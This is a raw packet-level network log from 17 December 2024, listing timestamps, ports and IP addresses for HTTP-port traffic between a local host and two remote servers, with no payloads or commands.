Dec 17, 2024 22:06:39.214884043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.214931011 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.215831995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.215883017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.215886116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.215930939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.216972113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.216984034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.217017889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.217031002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.217986107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.217998028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.218034029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.219033957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.219100952 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.219136953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.220172882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.220184088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.220223904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.221229076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.221276999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.221712112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.221757889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.222292900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.222304106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.222346067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.223253012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.223484039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.223532915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.224472046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.224517107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.224904060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.224973917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.225584984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.225598097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.225632906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.226571083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.226583004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.226620913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.227647066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.227659941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.227709055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.228640079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.228728056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.228773117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.229700089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.229744911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.230258942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.230307102 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.230771065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.230818033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.230882883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.230926991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.231832981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.232395887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.232516050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.233036041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.233047962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.233083010 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.234253883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.234301090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.234579086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.234625101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.235100985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.235169888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.235191107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.235260963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.236133099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.236185074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.236254930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.236325979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.237226009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.237237930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.237282038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.238755941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.238766909 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.238806009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.239365101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.239412069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.239573956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.239666939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.240375042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.240530014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.240572929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.241503954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.241550922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.241837978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.241884947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.242505074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.242516994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.242552042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.243568897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.243607998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.243647099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.243688107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.244638920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.244796991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.244848967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.245644093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.245780945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.246378899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.246424913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.246865034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.246908903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.247306108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.247360945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.247867107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.247919083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.248334885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.248943090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.248990059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.249150991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.249352932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.249975920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.249990940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.250024080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.250035048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.251070976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.251118898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.328059912 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:39.328142881 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:39.387414932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.387521982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.387562037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.387615919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.388405085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.388417959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.388468981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.389069080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.389117002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.389184952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.389230967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.390255928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.390304089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.390575886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.390588999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.390623093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.391632080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.391690969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.391757965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.392708063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.392771959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.393096924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.393778086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.393832922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.394047022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.394095898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.394566059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.394613981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.395121098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.395169020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.395200014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.395246029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.396121025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.396168947 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.396388054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.396431923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.397167921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.397213936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.397254944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.397300959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.398305893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.398371935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.398408890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.398452997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.399302006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.399348974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.399524927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.399569988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.400378942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.400424957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.400499105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.400546074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.401566029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.401612997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.402184963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.402232885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.402647018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.402659893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.402697086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.403626919 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.403686047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.403717041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.403763056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.404740095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.404788017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.404968023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.405016899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.405797958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.405844927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.405862093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.405914068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.406846046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.406893969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.406910896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.406954050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.407831907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.407881021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.408164024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.408212900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.409049988 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.409081936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.409125090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.410108089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.410151005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.410208941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.411183119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.411218882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.411258936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.411297083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.412162066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.412236929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.412261009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.412308931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.413252115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.413510084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.413563967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.414302111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.414412975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.414474964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.415345907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.415529013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.415580988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.416610003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.416623116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.416661024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.417735100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.417795897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.417843103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.418690920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.418750048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.418994904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.419859886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.419909000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.420006990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.420769930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.420818090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.420856953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.420908928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.421834946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.422087908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.422135115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.422852039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.423038006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.423161030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.423758984 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.423881054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.423928022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.424030066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.424099922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.424854994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.424940109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.425012112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.425060034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.426023960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.426172018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.426228046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.427031040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.427129030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.427195072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.428210974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.428276062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.428431034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.428939104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.429179907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.429227114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.429526091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.429569960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.430401087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.430413008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.430471897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.431379080 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.431582928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.431638002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.432445049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.432492971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.432646036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.433201075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.433500051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.433548927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.433871984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.433921099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.434473991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.434525013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.434675932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.434722900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.435543060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.435595036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.435729027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.435775995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.436661959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.436816931 CET	49843	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:39.436839104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.436934948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.437660933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.437716007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.438126087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.438453913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.438829899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.438882113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.438904047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.438949108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.439873934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.439923048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.440466881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.440516949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.440985918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.440999031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.441031933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.441942930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.441991091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.442198992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.442245007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.443104029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.443150043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.556534052 CET	80	49843	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:39.556703091 CET	49843	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:39.556958914 CET	49843	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:39.580073118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.580140114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.580198050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.580248117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.580450058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.580486059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.580538034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.581531048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.581583023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.581793070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.581845045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.582545042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.582688093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.582856894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.582911015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.583345890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.583396912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.583965063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.584018946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.584165096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:39.584229946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:39.584980011 CET	80	49825	31.41.244.11	192.168.2.4
